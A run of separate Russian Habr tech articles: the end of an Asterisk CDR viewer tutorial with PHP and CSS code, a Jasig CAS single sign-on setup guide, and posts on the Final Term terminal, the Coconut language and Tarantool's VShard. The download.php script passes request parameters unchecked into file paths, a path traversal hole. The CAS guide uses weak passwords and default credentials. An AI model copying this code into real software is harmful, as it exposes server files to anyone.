root@sip:/var/www/asterisk-cdr-viewer/include# cat functions.inc.php
php
/\* Recorded file \*/
function formatFiles($row) {
global $system\_monitor\_dir, $system\_fax\_archive\_dir, $system\_audio\_format, $system\_arch\_audio\_format;
/\* File name formats, please specify: \*/
/\*
caller-called-timestamp.wav
\*/
/\*
$recorded\_file = $row['src'] .'-'. $row['dst'] .'-'. $row['call\_timestamp']
\*/
/\* ============================================================================ \*/
/\*
ends at the uniqueid.wav, for example:
date-time-uniqueid.wav
thanks to Beto Reyes
\*/
/\*
$recorded\_file = glob($system\_monitor\_dir . '/\*' . $row['uniqueid'] . '.' . $system\_audio\_format);
if (count($recorded\_file)0) {
$recorded\_file = basename($recorded\_file[0],".$system\_audio\_format");
} else {
$recorded\_file = $row['uniqueid'];
}
\*/
/\* ============================================================================ \*/
/\* This example for multi-directory archive without uniqueid, named by format:
/\_-.
example: (tree /var/spool/asterisk/monitor)
|-- 2012.09.12
| |-- 10-37\_4952704601-763245.ogg
| `-- 10-43\_106-79236522173.ogg
`-- 2012.09.13
|-- 11-42\_101-79016410692.ogg
|-- 12-43\_104-671554.ogg
`-- 15-49\_109-279710.ogg
Added by BAXMAH ([email protected])
\*/
/\*
$record\_datetime = DateTime::createFromFormat('Y-m-d G:i:s', $row['calldate']);
$recorded\_file = date\_format($record\_datetime, 'Y.m.d/G-i') .'\_'. $row['src'] .'-'. $row['dst'];
\*/
/\* ============================================================================ \*/
/\*
This is a multi-dir search script for filenames like "/var/spool/asterisk/monitor/dir1/dir2/dir3/\*uniqueid\*.\*"
Doesn't matter, WAV, MP3 or other file format, only UNIQID is required at the end of the filename
;---------------------------------------------------------------------------
example: (tree /var/spool/asterisk/monitor)
|-- in
| |-- 4951234567
| | `-- 20120101\_234231\_4956401234\_to\_74951234567\_1307542950.0.wav
| `-- 4997654321
| `-- 20120202\_234231\_4956401234\_to\_74997654321\_1303542950.0.wav
`-- out
|-- msk
| `-- 20120125\_211231\_4956401234\_to\_74951234567\_1307542950.0.wav
`-- region
`-- 20120112\_211231\_4956405570\_to\_74952210533\_1307542950.0.wav
6 directories, 4 files
;----------------------------------------------------------------------------
added by Dein [email protected]
\*/
//\*\*\*\*\*\*\*\*\*\*\*\* Get a list of subdirectories as array to search by glob function \*\*\*\*\*\*\*\*\*\*\*\*\*\*
if (!function\_exists('get\_dir\_list')) {
function get\_dir\_list($dir){
global $dirlist;
$dirlist=array();
if (!function\_exists('find\_dirs\_recursive')) {
function find\_dirs\_recursive($sdir) {
global $dirlist;
foreach(glob($sdir) as $filename) {
//echo $filename;
if(is\_dir($filename)) {
$dirlist[]=$filename;
find\_dirs\_recursive($filename."/\*");
};//endif
};//endforeach
}; //endfunc
};//endif exists
find\_dirs\_recursive($dir."/\*");
};//endfunc
}
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* Main function \*\*\*\*\*\*\*\*\*\*\*\*
if (!function\_exists('find\_record\_by\_uniqid')) {
function find\_record\_by\_uniqid($path,$uniqid){
global $dirlist;
if (sizeof($dirlist) == 0 ){
get\_dir\_list($path);
};//endif size==0
if (sizeof($dirlist) == 0 ) {return "SOME ERROR, dirlist is empty";};
$found = "NOTHING FOUND";
foreach ($dirlist as $curdir) {
$res=glob($curdir."/\*".$uniqid.".\*");
if ($res) {$found=$res[0]; break;};
};//endforeach
$res=str\_replace($path,"",$found); //cut $path from full filename
return $res; //to be compartable with func. formatFiles($row)
};//endfunc
}
$recorded\_file = find\_record\_by\_uniqid($system\_monitor\_dir,$row['uniqueid']);
/\* ============================================================================ \*/
/\*
uniqueid.wav
\*/
// $recorded\_file = $row['filename'];
/\* ============================================================================ \*/
if (file\_exists("$system\_monitor\_dir/$recorded\_file.$system\_audio\_format")) {
// insert here:
echo " |\n";
} elseif ( isset($system\_arch\_audio\_format) and file\_exists("$system\_monitor\_dir/$recorded\_file.$system\_audio\_format.$system\_arch\_audio\_format")) {
echo " |\n";
} elseif (file\_exists("$system\_fax\_archive\_dir/$recorded\_file.tif")) {
echo " |\n";
} elseif (file\_exists("$system\_monitor\_dir/$recorded\_file"))
{ // insert here:
echo " |\n";
} else {
echo " |\n";
}
}
/\* CDR Table Display Functions \*/
function formatCallDate($calldate,$uniqueid) {
echo " $calldate |\n";
}
function formatChannel($channel) {
$trunk\_name = preg\_replace('/(.\*)-[^-]+$/','$1',$channel);
echo " $trunk\_name |\n";
}
function formatClid($clid) {
$clid\_only = explode(' <', $clid, 2);
$clid = htmlspecialchars($clid\_only[0]);
echo " $clid |\n";
}
function formatSrc($src,$clid) {
if (empty($src)) {
echo " UNKNOWN |\n";
} else {
$src = htmlspecialchars($src);
$clid = htmlspecialchars($clid);
echo " $src |\n";
}
}
function formatApp($app, $lastdata) {
echo " $app |\n";
}
function formatDst($dst, $dcontext) {
global $rev\_lookup\_url;
if (strlen($dst) == 11 and strlen($rev\_lookup\_url) > 0 ) {
$rev = str\_replace('%n', $dst, $rev\_lookup\_url);
echo " [$dst](\"$rev\") |\n";
} else {
echo " $dst |\n";
}
}
function formatDisposition($disposition, $amaflags) {
switch ($amaflags) {
case 0:
$amaflags = 'DOCUMENTATION';
break;
case 1:
$amaflags = 'IGNORE';
break;
case 2:
$amaflags = 'BILLING';
break;
case 3:
default:
$amaflags = 'DEFAULT';
}
echo " $disposition |\n";
}
function formatDuration($duration, $billsec) {
$duration = sprintf('%02d', intval($duration/60)).':'.sprintf('%02d', intval($duration%60));
$billduration = sprintf('%02d', intval($billsec/60)).':'.sprintf('%02d', intval($billsec%60));
echo " $duration |\n";
}
function formatUserField($userfield) {
echo " $userfield |\n";
}
function formatAccountCode($accountcode) {
echo " $accountcode |\n";
}
/\* Asterisk RegExp parser \*/
function asteriskregexp2sqllike( $source\_data, $user\_num ) {
$number = $user\_num;
if ( strlen($number) < 1 ) {
$number = $\_REQUEST[$source\_data];
}
if ( '\_\_' == substr($number,0,2) ) {
$number = substr($number,1);
} elseif ( '\_' == substr($number,0,1) ) {
$number\_chars = preg\_split('//', substr($number,1), -1, PREG\_SPLIT\_NO\_EMPTY);
$number = '';
foreach ($number\_chars as $chr) {
if ( $chr == 'X' ) {
$number .= '[0-9]';
} elseif ( $chr == 'Z' ) {
$number .= '[1-9]';
} elseif ( $chr == 'N' ) {
$number .= '[2-9]';
} elseif ( $chr == '.' ) {
$number .= '.+';
} elseif ( $chr == '!' ) {
$\_REQUEST[ $source\_data .'\_neg' ] = 'true';
} else {
$number .= $chr;
}
}
$\_REQUEST[ $source\_data .'\_mod' ] = 'asterisk-regexp';
}
return $number;
}
/\* empty() wrapper. Thanks to Mikael Carlsson. \*/
function is\_blank($value) {
return empty($value) && !is\_numeric($value);
}
/\*
Money format
thanks to Shiena Tadeo
\*/
function formatMoney($number, $cents = 2) { // cents: 0=never, 1=if needed, 2=always
global $callrate\_currency;
if (is\_numeric($number)) { // a number
if (!$number) { // zero
$money = ($cents == 2 ? '0.00' : '0'); // output zero
} else { // value
if (floor($number) == $number) { // whole number
$money = number\_format($number, ($cents == 2 ? 2 : 0)); // format
} else { // cents
$money = number\_format(round($number, 2), ($cents == 0 ? 0 : 2)); // format
} // integer or decimal
} // value
echo " $callrate\_currency$money |\n";
} else {
echo " |\n";
}
} // formatMoney
/\*
CallRate
return callrate array [ areacode, rate, description, bill type, total\_rate]
\*/
function callrates($dst,$duration,$file) {
global $callrate\_csv\_file, $callrate\_cache;
if ( strlen($file) == 0 ) {
$file = $callrate\_csv\_file;
if ( strlen($file) == 0 ) {
return array('','','','','');
}
}
if ( ! array\_key\_exists( $file, $callrate\_cache ) ) {
$callrate\_cache[$file] = array();
$fr = fopen($file, "r") or die("Can not open callrate file ($file).");
while(($fr\_data = fgetcsv($fr, 1000, ",")) !== false) {
$callrate\_cache[$file]["$fr\_data[0]"] = array( $fr\_data[1], $fr\_data[2], $fr\_data[3] );
}
fclose($fr);
}
for ( $i = strlen($dst); $i > 0; $i-- ) {
if ( array\_key\_exists( substr($dst,0,$i), $callrate\_cache[$file] ) ) {
$call\_rate = 0;
if ( $callrate\_cache[$file][substr($dst,0,$i)][2] == 's' ) {
// per second
$call\_rate = $duration \* ($callrate\_cache[$file][substr($dst,0,$i)][0] / 60);
} elseif ( $callrate\_cache[$file][substr($dst,0,$i)][2] == 'c' ) {
// per call
$call\_rate = $callrate\_cache[$file][substr($dst,0,$i)][0];
} elseif ( $callrate\_cache[$file][substr($dst,0,$i)][2] == '1m+s' ) {
// 1 minute + per second
if ( $duration < 60) {
$call\_rate = $callrate\_cache[$file][substr($dst,0,$i)][0];
} else {
$call\_rate = $callrate\_cache[$file][substr($dst,0,$i)][0] + ( ($duration-60) \* ($callrate\_cache[$file][substr($dst,0,$i)][0] / 60) );
}
} else {
//( $callrate\_cache[substr($dst,0,$i)][2] == 'm' ) {
// per minute
$call\_rate = intval($duration/60);
if ( $duration%60 > 0 ) {
$call\_rate++;
}
$call\_rate = $call\_rate\*$callrate\_cache[$file][substr($dst,0,$i)][0];
}
return array(substr($dst,0,$i),$callrate\_cache[$file][substr($dst,0,$i)][0],$callrate\_cache[$file][substr($dst,0,$i)][1],$callrate\_cache[$file][substr($dst,0,$i)][2],$call\_rate);
}
}
return array (0,0,'unknown','unknown',0);
}
?>
```
4) **Дополняем файл стилей /var/www/asterisk-cdr-viewer/style/screen.css**
```
/* HTML tag styles */
a {
cursor : pointer;
}
abbr[title] {
border-style : none none dashed;
border-width : medium medium 1px;
border-bottom-color : #000000;
cursor : help;
white-space : nowrap;
}
body {
background-color : #fff;
/* Fix for M$ IE < 7 CSS hover */ behavior : url('style/csshover.htc');
color : #000;
font : 65% Verdana, Arial, Helvetica, sans-serif;
margin : 0;
padding : 0;
}
img {
border-width : 0;
}
/* ID styles */
#header {
background-image : url('../templates/images/header_gradient.png');
background-repeat : repeat-x;
margin : 0;
padding-left : 5%;
padding-right : 10%;
position : fixed;
width : 100%;
z-index : 50;
}
#header_logo {
height: 105px;
width: 121px;
vertical-align: top;
}
#header_title {
color: #000000;
font-family: serif;
font-size: 32pt;
font-variant: small-caps;
font-weight: bold;
height: 60px;
}
#header_subtitle {
color: #68878a;
font-family: Verdana,Arial,'Bitstream Vera Sans',Helvetica,sans-serif;
font-size: 12pt;
font-weight: bold;
height: 60px;
padding-left: 10px;
vertical-align: top;
}
#main {
margin : 0;
padding-top : 115px;
}
#footer {
padding : 5px;
border-width : 0;
text-align : center;
}
/* Class styles */
.bar_calls {
background-color : #aaf5d0;
float : none;
padding : 0 0 0 2px;
}
.bar_duration {
background-color : #e5edf9;
float : none;
padding : 0 0 0 2px;
}
.cdr {
margin : 0 2%;
border-width : 0;
white-space : nowrap;
width : 96%;
}
.cdr th {
background-color : #5ebeff;
border-color : #000;
border-width : 2px;
text-align : center;
}
.cdr .center_col {
width : 78%;
padding : 2px;
}
.cdr .end_col {
width : 11%;
padding : 1px;
}
.cdr .chart_data {
padding : 0px;
text-align : right;
}
.cdr .img_col {
width : 16px;
height : 16px;
}
.form legend, .title, .title a {
color: #777;
font-size: 2em;
font-weight: bold;
}
.record {
background-color : #fff;
empty-cells : hide;
}
.record:hover {
background : #ffdca8;
color : #000;
empty-cells : hide;
}
.record_col {
padding-left : 2px;
padding-right : 2px;
border-width : 0;
}
.center {
text-align : center;
}
.right {
padding-right : 80px;
text-align : right;
font-size: 9pt;
}
.record_ctrl {
position:relative
}
.record_preview_icon {
width:16px;
height:16px;
cursor:pointer;
margin-left:3px;
}
.record_preview_lt {
position:absolute;
top:0;
left:38px;
z-index:99;
}
```
5) **Дополняем файл /var/www/asterisk-cdr-viewer/download.php (обработка range-запросов для аудио-файлов)**
```
php
require_once 'include/config.inc.php';
header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
header('Pragma: no-cache');
function partial_download($range_header, $request_file, $mime) {
$file_size = filesize($request_file);
list($b, $range) = explode('=', $range_header);
list($first_range) = explode(',', $range);
list($part_start,$part_end) = explode('-', $first_range);
$start = intval($part_start);
if ($part_end)
$end = intval($part_end);
else
$end = $file_size - 1;
$chunksize = ($end-$start)+1;
header('HTTP/1.1 206 Partial Content');
header("Content-Type: $mime");
header('Content-Transfer-Encoding: binary');
header("Content-Range: bytes $start-$end/$file_size");
header('Content-Length: '.$chunksize);
# header("Content-Disposition: attachment; filename=\"$_REQUEST[audio]\"");
$fp = fopen($request_file, 'r');
fseek($fp, $start, SEEK_SET);
echo fread($fp, $chunksize);
fclose($fp);
}
if (isset($_REQUEST['audio'])) {
$extension = strtolower(substr(strrchr($_REQUEST['audio'],"."),1));
$ctype ='';
switch( $extension ) {
case "wav16":
$ctype="audio/x-wav";
break;
case "wav":
$ctype="audio/x-wav";
break;
case "ulaw":
$ctype="audio/basic";
break;
case "alaw":
$ctype="audio/x-alaw-basic";
break;
case "sln":
$ctype="audio/x-wav";
break;
case "gsm":
$ctype="audio/x-gsm";
break;
case "g729":
$ctype="audio/x-g729";
break;
default:
$ctype="application/$system_audio_format";
break ;
}
header("Accept-Ranges: bytes");
if (!isset($_SERVER['HTTP_RANGE'])) {
header("Content-Type: $ctype");
header('Content-Transfer-Encoding: binary');
header('Content-Length: '.filesize("$system_monitor_dir/$_REQUEST[audio]"));
header("Content-Disposition: attachment; filename=\"$_REQUEST[audio]\"");
readfile("$system_monitor_dir/$_REQUEST[audio]");
}
else {
partial_download($_SERVER['HTTP_RANGE'], "$system_monitor_dir/$_REQUEST[audio]", $ctype);
}
} elseif (isset($_REQUEST['fax'])) {
header('Content-Type: image/tiff');
header('Content-Transfer-Encoding: binary');
header('Content-Length: '.filesize("$system_fax_archive_dir/$_REQUEST[fax]"));
header("Content-Disposition: attachment; filename=\"$_REQUEST[fax]\"");
readfile("$system_fax_archive_dir/$_REQUEST[fax]");
} elseif (isset($_REQUEST['csv'])) {
header('Content-Type: text/csv');
header('Content-Transfer-Encoding: binary');
header('Content-Length: '.filesize("/tmp/$_REQUEST[csv]"));
header("Content-Disposition: attachment; filename=\"$_REQUEST[csv]\"");
readfile("$system_tmp_dir/$_REQUEST[csv]");
} elseif (isset($_REQUEST['arch'])) {
header('Content-Type: application/x-download');
header('Content-Transfer-Encoding: binary');
header('Content-Length: '.filesize("$system_monitor_dir/$_REQUEST[arch]"));
header("Content-Disposition: attachment; filename=\"$_REQUEST[arch]\"");
readfile("$system_monitor_dir/$_REQUEST[arch]");
}
exit();
?
```
В результате получаем возможность прослушивания разговоров в веб-интерфейсе (мотать по бегунку прокрутки можно)
|
https://habr.com/ru/post/241622/
| null |
ru
| null |
# SSO используя Jasig CAS Server 4.0.0. Часть 1
Представьте, что у вас есть web-проект, который состоит из двух или более частей, (*part1.example.com*) и вторая часть (*part2.example.com*). Теперь перед вам стоит задача сделать Аутентификацию пользователя, но так чтобы когда пользователь зайдя один раз в любую из частей web-проекта, например, в первую, то во второй он уже должен быть аутентифицирован.
Процесс такой Аутентификацию пользователя называют **Технология единого входа** или [**SSO** (Single Sign-On)](http://ru.wikipedia.org/wiki/SSO).
На Хабре уже есть подобная статья [Jasig CAS — сервер аутентификации](http://habrahabr.ru/post/130289/), но она немного устарела так как там используется CAS Server 3.\* и на мое мнение она не достаточно детально изложена для людей которые впервые пытаются реализовать SSO используя [Jasig CAS](http://www.jasig.org/cas) (Central Authentication Service), но теория там довольно хорошо описана, поэтому рекомендую также просмотреть.
Обратите внимание, что мы будем конфигурировать Jasig CAS Server который будет аутентифицировать пользователя и отдавать web-клиентам. В дальнейшем планирую написать о реализации клиента для этого сервера.
#### Создание Maven проекта и добавление зависимостей
Так как это туториал буду все по порядку объяснять.
Создайте простой Maven проект и в **pom.xml** добавьте следующие зависимости:
```
4.0.0
org.jasig.cas
cas-server-webapp
${cas.version}
war
runtime
org.jasig.cas
cas-server-support-generic
${cas.version}
jar
```
**cas-server-webapp** — это стандартый сервер, который мы будем позже конфигурировать под себя;
**cas-server-support-generic** — а эта библиотека нам и позволит конфигурировать сервер под себя.
А также подключим плагин сборки:
```
maven-war-plugin
cas
```
Он позволит собрать наш проект с контекстом `/cas`.
После того как Maven скачает CAS у вас в проекте появится новая папка в которой уже будет сборка сервера CAS 4.0.0 по умолчанию.
Теперь можно будет задеплоить и запустить, но прежде нам нужно выполнить небольшую конфигурацию **Tomcat** так как деплоить мы будем на него.
#### Конфигурация Tomcat и генерация ключей
Я не хочу повторяться, поэтому укажу ссылку на более детальное описание тому материалу, что будет ниже вот [ссылка на описание](http://habrahabr.ru/company/tcsbank/blog/142407/).
Первым делом нужно сгенерировать сертификат и зарегистрировать его, для этого будем использовать стандартный **keytool** который есть в каждом JDK.
1. Генерируем Java Key Store:
```
keytool -genkey -alias casdc -keypass 12345678 -keystore ssoServer.jks -storepass 12345678 -validity 365
```
2. Теперь создаем на основании уже сгененированого хранилища сертификат:
```
keytool -export -alias casdc -file casServerPublic.cer -keystore ssoServer.jks -storepass 12345678
```
3. И полученый сертификат импортируем в хранилище довереных сертификатов:
```
keytool -import -alias casdc -file casServerPublic.cer -keypass 12345678 -keystore "C:/Program Files/Java/jdk1.7.0/jre/lib/security/cacerts" -storepass changeit
```
После этого заходим в папку **./apache-tomcat-8.0.9/conf** и открываем на редактирование файл **server.xml** находим там строку: `Define a SSL HTTP/1.1 Connector on port 8443`
и после этой строки, по умолчанию это примерно 83 строка, вставляем следующий фрахмет xml:
```
```
Обратите внимание что сгенерированное хранилище **ssoServer.jks** я поместил в папку **C:/keys/**ssoServer.jks и после указал к нему полный путь.
**keyAlias** — это алиас, который мы указывали на первом шаге генерации хранилища.
**keystorePass** — пароль к нашему хранилищу ключей.
Таким образом мы сконфигурировали HTTPS, который так необходимый CAS серверу.
После этого можна запустить Tomcat и заделоить наш проект.
После перейдите по ссылке: <https://localhost:8443/cas/> — это cas сервер со стандартной конфигурацией.
Вы должны увидеть следующее:
Если у вас появляется красная полоска с тестом, то это значит что вы сделали что-то не так, и HTTPS не включен.
И для того чтобы проверить что CAS сервер удачно запустился и работает, давайте залогинимся. Для этого вам нужно ввести стандартные логин и пароль:
Логин: **casuser**
Пароль: **Mellon**
После удачного входа вы должны увидеть:
Поздравляю CAS сервер мы запустили. В следующем посте я расскажу как кастомизировать AuthenticationHandler, а именно возможность получения пользователя с БД или другой внешней системы.
Строго не судите, это мой первый прототип на данную тематику, и если будут замечания, с радостью выслушаю. Также я его постоянно улучшаю и о новых достижениях буду писать, конечно же если это будет кому-то интересно.
Исходники проекта на Github: <https://github.com/alexbarchuk/local-cas>
Источник: <https://wiki.jasig.org/display/CASUM/Configuring>
|
https://habr.com/ru/post/229375/
| null |
ru
| null |
# Final Term: новый взгляд на терминал
Встречайте концепт нового эмулятора терминала для GNU/Linux — [Final Term](http://finalterm.org) (<http://finalterm.org>).
Краткий список нововведений выглядит следующим образом: семантические контекстные (текстовые) меню, «умное» автодополнение, возможность создания собственных сочетаний хоткеев.
[](http://finalterm.org/text-menu.png)##### Семантические контекстные меню
Терминал «понимает» вывод стандартных UNIX-команд и привязывает к каждому текстовому сниппету индивидуальное значение; в выводе он распознает PID процессов, URL, имена файлов и каталогов, и позволяет для каждого такого элемента вызвать собственное контекстное меню со связанными командами.
Новые семантические меню можно легко добавить благодаря системе плагинов, конфигурируемых текстовыми файлами программирование не потребуется.
##### Умное дополнение команд
Final Term знает, когда потребуется показать вам автодополнение, и он помнит все команды, которые вы когда-либо вводили.
В тот момент, когда вы начинаете вводить новую команду, вам предлагается выбрать ее из предыдущей истории, причем список отсортирован так, что более вероятный вариант всегда будет наверху.
[](http://finalterm.org/progress-bar.png)##### Элементы управления GUI
Final Term позволяет скрывать/раскрывать «длинный» вывод команд или состояние прогресса — реализовано это так же, как и в современных IDE. Кроме того, распознаются «ASCII-скроллабры», которые заменяются «обычными» скроллбарами-элементами окна.
##### Свои команды
На любые клавишные комбинации можно назначить собственные команды (глобальные действия или командной оболочки), описывается это в текстовом файле настроек, например:
`L = RUN_SHELL_COMMAND "ls -lh"
##### Перерисовка окна
При изменении размеров окна автоматически происходит reflow: перерисовывается текст для наилучшего заполнения. К тому же, вы можете настроить внешний вид и подсветку текста.
Если вам захотелось попробовать - инструкцию по установке можно найти на Github проекта.
Но будьте осторожны! Final Term находится в стадии альфа-версии, поэтому - нестабилен и не содержит всех фич, которые войдут в релиз, и использовать его вместо обычного терминала создатели пока что не рекомендуют.`
|
https://habr.com/ru/post/185944/
| null |
ru
| null |
# Змея и кокос
Я люблю Python. Нет, правда, это отличный язык, подходящий для широкого круга задач: тут вам и работа с операционной системой, и веб-фреймворки на любой вкус, и библиотеки для научных вычислений и анализа данных. Но, помимо Python, мне нравится функциональное программирование. И питон в этом плане неплох: есть замыкания, анонимные функции и вообще, функции здесь — объекты первого класса. Казалось бы, чего ещё можно желать? И тут я случайно наткнулся на **Coconut** — функциональный язык, компилируемый в Python. Всех любителей Python и ФП прошу под кат.
Что? Функциональный язык, который компилируется в Python? Но зачем, ведь функциональных фич и так полно, а если хочется дополнительных ~~извращений~~, то есть модуль toolz.functoolz? Но давайте рассмотрим простую задачу: нам необходимо сложить квадраты чисел из некоторого списка.
```
l = [1, 2, 3, 4, 5]
```
Возможные решения
-----------------
Императивное решение "в лоб":
```
def sum_imp(lst):
s = 0
for n in lst:
s += n**2
return s
```
С использованием map и reduce (выглядит жутко):
```
from functools import reduce
from operator import add
def sum_map_reduce(lst):
return reduce(add, map(lambda n: n**2, lst))
```
С использованием генераторов списков (pythonic-way):
```
def sum_list_comp(lst):
return sum([n**2 for n in lst])
```
Последний вариант не так уж плох. Но в таких случаях хочется написать что-нибудь в духе
```
sum_sqr(lst) = lst |> map(n -> n**2) |> sum
```
Да-да, совсем как в OCaml, только без строгой типизации (язык-то у нас динамический). А что, если я вам скажу, что с Coconut мы действительно можем так сделать? С его помощью можно написать
```
sum_sqr(lst) = lst |> map$(n -> n**2) |> sum
```
и получить полноценное решение поставленной задачи без вызовов функций(от\_функций(от\_функций))).
Фичи
----
Авторы языка пишут, что он добавляет в Python следующие возможности:
* Сопоставление с образцом
* Алгебраические типы данных
* Деструктурирующее присваивание
* Частичное применение (я знаю про partial, но подробнее чуть ниже)
* Ленивые списки (те самые head::tail из окамла)
* Композиция функций
* Улучшенный синтаксис лямбда-выражений
* Инфиксная запись для функций
* Пайплайны
* Оптимизация хвостовой рекурсии (мнение Гвидо по этому поводу известно, но иногда ведь хочется)
* Параллельное исполнение
Также стоит отметить, что язык может работать в режиме интерпретатора, компилироваться в исходники Python и использоваться в качестве ядра для Jupyter Notebook (сам пока не проверял, но разработчики пишут, что можно).
А теперь остановимся на некоторых возможностях поподробнее. Все примеры были проверены на Coconut 1.2.1.
### Синтаксис лямбда-выражений
Я уверен, что не мне одному доставляет боль запись лямбда-выражений в питоне. Я даже думаю, что её специально создали такой, чтобы ей пользовались как можно реже. Coconut делает определение анонимной функции именно таким, как мне хотелось бы его видеть:
```
(x -> x*2)(a) # То же, что (lambda x: x*2)(a)
```
### Композиция функций
Композиция функций выглядит здесь почти как в хаскеле:
```
(f .. g .. h)(x) # То же, что и f(g(h(x)))
```
### Частичное применение
В модуле functools есть функция partial, которая позволяет создавать функции с фиксированными аргументами. У неё есть существенный недостаток: позиционные аргументы нужно подставлять строго по порядку. Например, нам нужна функция, которая возводит числа в пятую степень. По логике, мы должны использовать partial (мы ведь просто хотим взять функцию и зафиксировать один из аргументов!), но никакого выигрыша это не даст (pow в обоих случаях используется, чтобы отвлечься от того, что это встроенная операция):
```
from functools import partial
from operator import pow
def partial5(lst):
return map(lambda x: partial(pow(x, 5)), lst) # Какой кошмар!
def lambda5(lst):
return map(lambda x: pow(x, 5), lst) # Так немного лучше
```
Что может предложить Coconut? А вот что:
```
def coco5(lst) = map$(pow$(?, 5), lst)
```
Символ **$** сразу после названия функции указывает на её частичное применение, а **?** используется в качестве местозаполнителя.
### Пайплайны
Ещё одна простая концепция, которая часто применяется в функциональных языках и даже в широко известном bash. Всего здесь имеется 4 типа пайплайнов:
| | | | |
| --- | --- | --- | --- |
| Пайплайн | Название | Пример использования | Пояснение |
| |> | простой прямой | x |> f | f(x) |
| <| | простой обратный | f <| x | f(x) |
| |\*> | мультиаргументный прямой | x |\*> f | f(\*x) |
| <\*| | мультиаргументный обратный | f <\*| x | f(\*x) |
### Сопоставление с образцом и алгебраические типы
В самом простом случае паттерн-матчинг выглядит так:
```
match 'шаблон' in 'значение' if 'охранное выражение':
'код'
else:
'код'
```
Охрана и блок else могут отсутствовать. В таком виде паттерн-матчинг не очень интересен, поэтому рассмотрим пример из документации:
```
data Empty()
data Leaf(n)
data Node(l, r)
Tree = (Empty, Leaf, Node)
def depth(Tree()) = 0
@addpattern(depth)
def depth(Tree(n)) = 1
@addpattern(depth)
def depth(Tree(l, r)) = 1 + max([depth(l), depth(r)])
```
Как вы могли догадаться, Tree — это тип-сумма, который включает в себя разные типы узлов бинарного дерева, а функция depth предназначена для рекурсивного вычисления глубины дерева. Декоратор addpattern позволяет выполнять диспетчеризацию при помощи шаблона.
Для случаев, когда результат должен вычисляться в зависимости от первого подходящего шаблона, введено ключевое слово **case**. Вот пример его использования:
```
def classify_sequence(value):
'''Классификатор последовательностей'''
out = ""
case value:
match ():
out += "пусто"
match (_,):
out += "одиночка"
match (x,x):
out += "повтор "+str(x)
match (_,_):
out += "пара"
match _ is (tuple, list):
out += "последовательность"
else:
raise TypeError()
return out
```
### Параллельное выполнение
parallel\_map и concurrent\_map из Coconut — это просто обёртки над ProcessPoolExecutor и ThreadPoolExecutor из concurrent.futures. Несмотря на их простоту, они обеспечивают упрощенный интерфейс для многопроцессного/многопоточного выполнения:
```
parallel_map(pow$(2), range(100)) |> list |> print
concurrent_map(get_data_for_user, all_users) |> list |> print
```
Заключение
----------
Мне всегда было завидно, что в .Net есть F#, под JVM — Scala, Clojure, про количество функциональных языков, компилируемых в JS я вообще молчу. Наконец-то я нашёл нечто похожее для Python. Я почти уверен, что Coconut не получит широкого распространения, хоть мне этого и хотелось бы. Ведь функциональное программирование позволяет решать множество проблем лаконично и изящно. Зачастую даже без потери читабельности кода.
→ [Сайт языка](http://coconut-lang.org/)
|
https://habr.com/ru/post/322000/
| null |
ru
| null |
# VShard — горизонтальное масштабирование в Tarantool
Меня зовут Владислав, я участвую в разработке [Tarantool](https://github.com/tarantool/tarantool) — СУБД и сервера приложений в одном флаконе. И сегодня расскажу вам, как мы реализовали горизонтальное масштабирование в Tarantool при помощи модуля [VShard](https://github.com/tarantool/vshard).
Сначала немного теории.
Масштабирование бывает двух типов: горизонтальное и вертикальное. Горизонтальное делится на два типа: репликацию и шардинг. Репликация служит для масштабирования вычислений, шардинг — для масштабирования данных.
Шардинг делится еще на два типа: шардинг диапазонами и шардинг хешами.
При шардинге диапазонами мы от каждой записи в кластере вычисляем некоторый шард-ключ. Эти шард-ключи проецируются на прямую линию, которая делится на диапазоны, которые мы складываем на разные физические узлы.
Шардинг хешами проще: от каждой записи в кластере считаем хеш-функцию, записи с одинаковым значением хеш-функции складываем на один физический узел.
Я расскажу про горизонтальное масштабирование при помощи шардирования по хешам.
Предыдущая реализация
=====================
Первым модулем горизонтального масштабирования у нас был [Tarantool Shard](https://github.com/tarantool/shard). Это очень простой шардинг хешами, который считает шард-ключ от первичного ключа всех записей в кластере.
```
function shard_function(primary_key)
return guava(crc32(primary_key), shard_count)
end
```
Но потом возникла задача, с которой Tarantool Shard оказался неспособен справиться по трем фундаментальным причинам.
Во-первых, требовалась **локальность логически связанных данных**. Когда у нас есть данные, которые связаны логически, мы хотим всегда хранить их на одном физическом узле, как бы ни менялась топология кластера и ни проводилась балансировка. А Tarantool Shard этого не гарантирует. Он считает хеш только по первичным ключам, и при перебалансировке даже записи с одинаковым хешем могут на какое-то время разделиться — перенос не атомарен.
Проблема отсутствия локальности данных мешала нам больше всего. Приведу пример. Есть банк, в котором клиент открыл счёт. Данные о счёте и клиенте нужно всегда физически хранить вместе, чтобы их можно было прочитать за один запрос, поменять за одну транзакцию, например, при переводе денег со счёта. Если использовать классический шардинг с Tarantool Shard, то у счетов и клиентов значения шард-функции будут разные. Данные могут оказаться на разных физических узлах. Это сильно усложняет и чтение, и транзакционность работы с таким клиентом.
```
format = {{'id', 'unsigned'},
{'email', 'string'}}
box.schema.create_space('customer', {format = format})
format = {{'id', 'unsigned'},
{'customer_id', 'unsigned'},
{'balance', 'number'}}
box.schema.create_space('account', {format = format})
```
В примере выше поля `id` запросто могут не совпадать у счетов и клиентов. Связаны они через поле аккаунта `customer_id` и `id` клиента. Одинаковое поле `id` сломало бы уникальность первичного ключа аккаунтов. И по-другому Shard шардировать не умеет.
Следующая проблема — **медленный решардинг**. Это классическая проблема всех шардов на хешах. Суть в том, что когда мы меняем состав кластера, у нас обычно меняется шард-функция, потому что она, как правило, зависит от количества узлов. И когда функция меняется, нужно проходить по всем записям кластера и пересчитывать шард-функцию заново. Возможно, перенести какие-то записи. И пока мы их переносим, мы не знаем, перенеслись ли уже данные, которые нужны очередному приходящему запросу, может быть, они сейчас в процессе переноса. Поэтому во время решардинга приходится на каждое чтение делать запрос по двум шард-функциям: старой и новой. Запросы становятся в два раза медленнее, и для нас это было неприемлемо.
Ещё одной особенностью Tarantool Shard было то, что при отказе некоторых узлов в replica set’ах он показывает **плохую доступность на чтение**.
Новое решение
=============
